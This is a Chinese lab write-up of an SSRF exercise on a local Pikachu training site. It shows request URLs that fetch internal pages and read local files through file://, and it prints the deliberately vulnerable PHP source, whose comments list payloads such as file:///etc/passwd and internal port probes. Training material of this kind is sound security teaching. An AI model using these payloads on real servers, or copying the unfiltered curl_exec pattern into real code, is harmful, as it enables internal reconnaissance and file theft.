目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、实现ssrf攻击
四、源代码分析
五、结论
一、测试环境
1、系统环境
渗透机:本机(127.0.0.1)
靶 机:本机(127.0.0.1)
2、使用工具/软件
测试网址: http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php
二、测试目的
实现ssrf攻击,包含百度,读取文件。
三、操作过程
1、实现ssrf攻击
点击连接可能会not found,原因是路径不对,更改一下即可
这个诗是直接包含链接进来的,可以理解为内部资源服务器的连接,而目标主机作为中间服务器,通过它访问到内部服务器
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_info/info1.php
可以包含百度页面
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
使用file协议,写了一个txt文件,成功包含文件内容
http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=file://E:/phpstudy/PHPTutorial/WWW/1.txt
四、源代码分析
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "ssrf_curl.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$FILEDIR = $_SERVER['PHP_SELF'];
$RD = explode('/',$FILEDIR)[1];
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
//payload:
//file:///etc/passwd 读取文件
//http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
?>
使用了curl_exec()函数,没有对输入参数进行过滤,导致直接解析了http协议、file协议等。
五、结论
ssrf危害很大,可以直接影响到内网服务器的运行,信息泄露等。
引入外部参数时,一定对参数进行过滤。